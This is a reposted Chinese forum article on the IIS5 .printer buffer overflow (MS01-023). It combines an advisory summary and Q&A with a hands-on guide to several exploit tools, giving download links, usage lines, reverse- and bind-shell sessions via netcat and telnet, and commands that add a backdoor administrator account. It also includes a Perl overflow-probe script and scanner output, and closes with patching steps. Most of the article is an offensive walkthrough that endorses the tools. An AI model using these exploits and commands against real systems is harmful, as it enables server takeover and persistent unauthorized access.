[转帖]IIS ISAPI Printer远程溢出攻击
一、ms01-023漏洞公告
受影响的系统:
漏洞只存在运行IIS5.0的WIN2K服务器
Microsoft Windows 2000 Server
Microsoft Windows 2000 Datacenter Server
Microsoft Windows 2000 Advanced Server
微软Win 2K IIS 5的打印ISAPI扩展接口建立了.printer扩展名到msw3prt.dll的 映射关系,缺省情况下该映射存在。当远程用户提交对.printer的URL请求时, IIS5调用msw3prt.dll解释该请求。由于msw3prt.dll缺乏足够的缓冲区边界检查, 远程用户可以提交一个精心构造的针对.printer的URL请求,其"Host:"域包含大 约420字节的数据,此时在msw3prt.dll中发生典型的缓冲区溢出,潜在允许执行任意代码。溢出发生后,WEB服务停止响应,Win 2K可以检查到WEB服务停止响应, 从而自动重启它,因此系统管理员很难意识到发生过攻击。
注意:这个漏洞非常危险,因为它仅仅需要WIN2000打开80端口(http)或者443端口(https),微软公司强烈要求在未打补丁之前一定要移除ISAPI网络打印的映射。
二、IIS ISAPI Printer远程溢出相关问答
1、漏洞的活动范围是什么?
这是一个缓存溢出漏洞,这漏洞比以往的普通溢出存在更大的危害,主要有两方
面的原因:
*在缺省安全的情况下,该漏洞可以被来自网络的入侵者利用。
*入侵者可以完全获得和控制存在该漏洞的网站服务器。
入侵者一旦溢出成功,他可以做他想做的一些事情,包括:安装和运行程序,重新配置服务,增加、改变或者删除文件和网页的内容等等。 这是一个非常危险的漏洞,微软件公司忠告所有的IIS5网站系统管理员立即安装补丁,IIS4的系统不存在这个漏洞。
2、漏洞的起因是什么?
WIN2K在网络打印ISAPI扩展上缺少足够的缓冲区检查,当一个入侵者发出特殊的请求服务时产生缓存溢出,可以让入侵者在本地系统执行任意代码。
3、什么是ISAPI扩展?
ISAPI (Internet Services Application Programming Interface)因特网服务
应用编程界面是一种能够使网络开发商通过编写能为网络服务器提供新的服务的 自定义命令码来扩展网络服务器功能的一种技术。该自定义命令码既能在ISAPI过滤器中完成(当新的功能所提供一种较低水平的服 务时);也能在ISAPI扩展项中完成(当新的功能提供一种较高水平服务时)。现在,被溢出的代码就是这ISAPI扩展。
4、ISAPI扩展的问题是什么?
受攻击的ISAPI扩展能执行网络打印协议(IPP),(该协议是在RFCs2910和2911定义中的产业标准。) IPP能提供通过HTTP在网络打印请求的服务。例如,通过使用IPP,远离办公室的工作人员可以在网上传递打印任务给他连网工作区域的打印机并打印出来,他也能发现打印是否完全无误。WIN2K引进了本地网的网络打印。WIN2K的使用用户能直接指定RUL打印,也可以通过自己的浏览器查询与打印有关的信息。
5、在WIN2K的网络打印ISAPI扩展存在什么错误?
ISAPI扩展在处理用户打印请求的部分代码中有一个未经检查缓冲长度的验证,假如发生的打印请求是比较特殊的,那么就有可能导致缓冲溢出。
6、什么是缓存溢出?
缓存溢出又称为缓冲溢出,让我们先从讨论什么是缓冲区开始,缓冲区指一个 程序的记忆范围(领域),该领域是用来储存一些数据,如电脑程序信息,中间计算结果,或者输入参数。把数据调入缓冲区之前,程序应该验证缓冲区有足 够的长度以容纳所有这些调入的数据。否则,数据将溢出缓冲区并覆写在邻近的数据上,当它运行时,就如同改写了程序。 假如溢出的数据是随意的,那它就不是有效的程序代码,当它试图执行这些随 意数据时,程序就会失败。另一方面,假如数据是有效的程序代码,程序将会按照数据提供者所设定的要求执行代码和新的功能。
7、我在配置服务器时用的是IIS5.0的安全清单,我依照他清除所有不必要的
ISAPI扩展的建议,我还会受到攻击吗? 假如你的ISAPI扩展已经被清除,网络打印请求就不能响应,漏洞不会产生,因此,假如你遵从了清单的建议,清除IPAPI上的网络打印的功能后,你是不会受到这漏洞的攻击的。
8、我使用了在IIS5.0安全清单下的安全模板,安全吗?
清单下的该模板,消除了ISAPI扩展的内容,因此,如果你使用了,就不会受到这漏洞引起的攻击。
9、我用了WIN2K网络打印服务器安全工具去配置我的网络服务器,那样做能帮
我消除这漏洞的隐患吗? 可以的,该工具包含了有关通过网络服务器配置的一些问卷调查,除非你特别提示要求保留网络打印功能,否则,该工具可以使ISAPI扩展功能失效。
10、防火墙能够阻止入侵者利用这个漏洞吗?
如果设置防火墙锁住HTTP和HTTPS请求,入侵者就不能利用这个漏洞进行攻击,但你的网站服务器同时也就失去HTTP和HTTPS服务的功能,所以对于开设WEB服务的服务器来说,防火墙不能阻止利用这个漏洞。
11、该漏洞影响IIS4.0服务器吗?
不影响。
三、国产.printer远程溢出攻击软件使用实例
1、小榕的IIS5Exploit
严格地说,这软件并不是小榕写的,这软件是小榕根据jill.c改编优化部分代码编译出来的。不过这软件确实很好,特别推荐大家使用。
下载地址http://www.netxeyes.com/IIS5Exploit.zip
压缩包里含有三个文件IIS5Exploit.exe、nc.exe、readme.txt
IIS5 .Printer Exploit 使用说明
-----------------以下是readme.txt的内容
本程序适用于英文版IIS 5.0
1、首先在本机用NC开一个监听端口。
C:\>nc -l -p 99
2、运行IIS5Exploit
D:\>jill xxx.xxx.xxx.xxx 211.152.188.1 333
===========IIS5 English Version .Printer Exploit.===========
===Written by Assassin 1995-2001. http://www.netXeyes.com ===
Connecting 211.152.188.1 ...OK.
Send Shell Code ...OK
IIS5 Shell Code Send OK
其中211.152.188.1指向本地IP。
稍等片刻,如果成功在本机NC监听的端口出现:
C:\>nc -l -p 99
Microsoft Windows 2000[Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:\>
可以执行命令。如:
C:\>net user hack password /add
The command completed successfully.
C:\>net localgroup administrartors hack /add
这样就创建了一个属于Administrator组的用户Hack,密码为password.
-----------------------------------------------------------------
使用说明解释:
使用这软件实际上要开两个MS-DOS窗口,首先运行nc -l -p 99 当然也可以 把端口定义为其他的,建议把开的端口改高些,避免在测试的同时恰好别人 在扫描你的端口,影响你正常的测试,小榕在写这说明时也许很急,写运行
运行IIS5Exploit也没写好,正确的是IIS5Exploit 目标主机的IP 攻击者IP 99(要与自己NC开的端口一致) 为了攻击的成功率高,首先必须要明确所攻击的目标主机一定是开有 http\https服务的win2k。我们可以通过telnet目标主机的80端口get index.htm 来判断对方win2k的版本是不是Microsoft Windows 2000[Version 5.00.2195]
也可以用eyas提供的ScanPrinter来扫描获得。
2、sunx.org提供的iis5hack
下载地址http://www.sunx.org/mysoft/iis5hack.zip
运行参数
iis5hack <目标主机IP> <主机类型>
中文WIN2K: 0
中文WIN2K sp1: 1
英文WIN2K: 2
英文WIN2K, sp1: 3
日文WIN2K: 4
日文WIN2K, sp1: 5
E:\HACK\print>iis5hack 63.110.130.66 80 3
iis5 remote .printer overflow. writen by sunx
http://www.sunx.org
for test only, dont used to hack,
connecting...
sending...
Now you can telnet to 99 port
good luck
c:\telnet 63.110.130.66 99
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:\WINNT\system32>
已经进入目标主机,你想干什么就是你的事啦。该软件的优点是针对多种语言版本的WIN2K系统,缺点,溢出成功后目标主机的IIS停止服务,并且得到 SHELL后要在较短时间内完成你想做的事,时间长的话连SHELL、IIS都会死
掉;不能随意定义目标主机的SHELL端口。在退出TELNET服务时也一定要记住正常exit退出,否则目标主机的IIS也会死。 呵呵,我在测试过程中发现只是两三分钟时间对方的IIS就死了,看来把这软 件当做拒绝服务攻击型的软件也不错哦。
3、isno.yeah.net提供的cniis、iisx
isno最新的.printer漏洞攻击软件是iisx,是CNIIS的升级版本,按找作者的 使用说明我们可以看到:
使用方法: iisx <目标主机> <-p-a-r attackhost attackport>
sp: 0 --- 目标没有安装SP , 1 --- 目标安装了SP1
提供三种对IIS5 .printer漏洞的攻击方式:
-p --- 对攻击目标运行iisx 66.77.88.99 0 -p
在66.77.88.99上开一个端口7788,可以直接telnet 66.77.88.99 7788
-a --- 对攻击目标运行iisx 66.77.88.99 0 -a
在66.77.88.99上添加一个管理员帐号:hax,其密码也为hax,
可以使用net use \\66.77.88.99\ipc$ "hax" /user:"hax"建立连接。
-r --- 反向连接(类似于jill的方式),具体实施方法如下:
例如先在一台机器111.222.333.444上运行nc -vv -l -p 5432,
然后对攻击目标运行iisx 66.77.88.99 0 -r 111.222.33.444 5432,
这时在111.222.333.444就会出现来自66.77.88.99的连接。
---------------------------------
对于该软件,我没有做他多的测试,不过我们可以看到,其第一种方法和SUNX的IIS5HACK是一样的,只不过定制溢出的TELNET端口不同,对于固定溢出端口,我总觉得不是那么好,至少在你测试的时候别人也在扫描相同的主机时,你的行为就很容易被人发现。 对于第二种方法,只能攻击那些安全技术非常贫乏的网络管理员了,因为添加这
样一个密码和用户ID都一样的超级用户都能成功的话,对方也就很该死了,因为 那管理员连密码长字节和特殊字符化都不设定,那水平就可想而知了。对于第三种攻击方法和jill.c差不多,所以也不再做详细介绍。
四、一些扫描.printer漏洞的程序测试
1、eyas编写的扫描程序cgicheck
eyas我一个很好的朋友,一个很有进取精神的小伙子,现在在国内某安全公司工作,在微软的.printer漏洞公告出来后就写了一个专门扫描该漏洞的工具 scanprinter,由于时间仓促,那软件尽管可以扫描该漏洞,但在定制扫描线程 和超时延迟方面没有写好,使用起来不是那么如意。本来想介绍他的scanprinter,恰好在我写到这部分内容时,他给我E来他的新作品cgicheck,这也是个测试版的DOS命令工具,从文件名我们可以看到,他打算把这软件写成类似twwwscan那样的cgi漏洞扫描工具。 现在让我们看看使用效果。
以下是运行在AMD850 128MB 64KISDN WIN98SE 下的扫描情况。
E:\>CGICHECK 203.212.4.1 203.212.4.255 100 4
[203.212.4.18 ] has .printer mapped.
[203.212.4.19 ] has .printer mapped.
[203.212.4.227 ] has .printer mapped.
******** 100% Wait 4 seconds to exit ********
[203.212.4.237 ] has .printer mapped.
[203.212.4.238 ] has .printer mapped.
All done.
Complete.Scan 254 targets use 15.8 seconds.Speed 16.1/s
从扫描结果来看这软件确实有很大的提高,建议EYAS在以后软件的升级中让软件可以自定义所需要扫描的内容,毕竟在针对某网段的扫描,我们不需要把所有的CGI漏洞都扫描(要知道有些漏洞已经很少看见了,加进去只耽误扫描的效
率)。
2、pl扫描程序
我们看以下的一个用perl编写的扫描程序
use Socket;
print "-- IPP - IIS 5.0 Vulnerability Test By Storm --\n\n";
if (not $ARGV[0]) {
print qq~
Usage: webexplt.pl
~;
exit;}
$ip=$ARGV[0];
print "Sending Exploit Code to host: " . $ip . "\n\n";
my @results=sendexplt("GET /NULL.printer HTTP/1.0\n" . "Host:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\n");
print "Results:\n";
if (not @results) {
print "The Machine tested has the IPP Vulnerability!";
}
print @results;
sub sendexplt {
my ($pstr)=@_;
$target= inet_aton($ip) die("inet_aton problems");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')0)
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
select(S);
$=1;
print $pstr;
my @in=;
select(STDOUT);
close(S);
return @in;
} else { die("Can't connect...\n"); }
}
---------------------------------------------------------------
实际上这扫描程序是一个比较简单的pl扫描,命令格式webexplt.pl ip 只能针对某一IP地址进行检测,通过发送GET /NULL.printer HTTP/1.0\n 请求,然后传送一超长字符串给目标主机,去检测是否存在.printer漏洞。
3、其他的一些扫描软件例如www.netguard.com.cn、www.xfocus.org 发布的easyscan、x-scaner都专门做了针对printer漏洞的扫描,大家可以 试试。
5、漏洞的消除
最好的办法是安全微软针对这漏洞发的补丁:
补丁下载地址:
http://www.microsoft.com/Downloads/Release.asp?ReleaseID=29321
在你无法获得补丁的情况下,我们也可以通过手动的方式设置你的服务器: 设置》控制面板》管理工具》INTERNET服务管理器》右键单击你的站点 如我的是badboy-f5gzewyd》属性》编辑WWW服务》主目录》配置》
应用程序配置》找到.printer》清除 但这样的操作你就丧失网络打印的功能
|